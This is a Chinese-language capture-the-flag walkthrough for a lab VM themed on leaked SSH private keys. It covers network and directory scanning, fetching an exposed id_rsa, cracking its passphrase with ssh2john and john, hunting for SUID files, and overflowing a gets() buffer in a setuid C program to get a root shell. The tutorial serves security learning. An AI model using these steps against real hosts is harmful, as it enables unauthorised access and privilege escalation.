CTF-SSH私钥泄露
靶机链接
https://pan.baidu.com/s/15NW4AUBRRe6Y9-uRwHbC4g 提取码:6666
环境介绍
攻击机—IP地址:192.168.36.128
靶机—IP地址:未知(模拟真实攻防,所以未给出IP地址)
Tips:两台主机通过NAT同在192.168.36.1/24网段下
信息收集
扫描同网段下的存活主机
netdiscover -r {ip/netmask}
~# netdiscover -r 192.168.36.1/24
nmap -sS {ip/netmask}or{ip}
~# nmap -sS 192.168.36.1/24
netdiscover扫描结果
nmap扫描结果
访问开放的端口
查看源代码
没有任何有用的信息!!!
扫描下当前页面的目录
dirb {URL}
~# dirb http://192.168.36.137:31337/
发现robots.txt!!!
Tips:robots.txt配置了允许被扫描到的文件和不允许被扫描到的文件。
重点关注robots.txt和/.ssh
访问robots.txt
192.168.36.137:31337/robots.txt
发现taxes的文件!!!
访问没有扫描到的taxes
192.168.36.137:31337/taxes
拿到flag1!!!
访问ssh
http://192.168.36.137:31337/.ssh
是SSH密匙对,我们访问id_rsa看看是否能访问到该文件
同样的方法可以拿到authorized_keys
查看authorized_keys
发现登陆的用户是Simon,先
尝试登陆一下
ssh -i id_rsa Simon@192.168.36.137
被拒绝
chmod 600 id_rsa #给文件一个权限
ls -alh #查看权限
转换信息
发现需要密码,使用ssh2john将id_rsa秘钥信息转换为john可以识别的信息。
locate ssh2john
/usr/share/john/ssh2john.py ssh2john id_rsa > rsacrack
利用字典解密isacrack信息
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
—>>>出现密码!!!
继续登陆
登陆成功!!!但是现在不是root权限。进入root目录,cat flag.txt,打不开因为没有权限。
查找具有root权限的文件
find / -perm -4000 2>/dev/null
同时root目录下还有一个read_message.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// You're getting close! Here's another flag:
// flag2{use_the_source_luke}
int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];
char authorized[] = "Simon";
printf("What is your name?\n");
gets(buf);
// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
exit(EXIT_FAILURE);
}
}
源代码里面出现**flag2!!!**
进入箭头所示文件运行程序,输入SimonAAAAAAAAAAAAAAA/bin/sh
取得root权限,cat /flag.txt,取得flag3!!!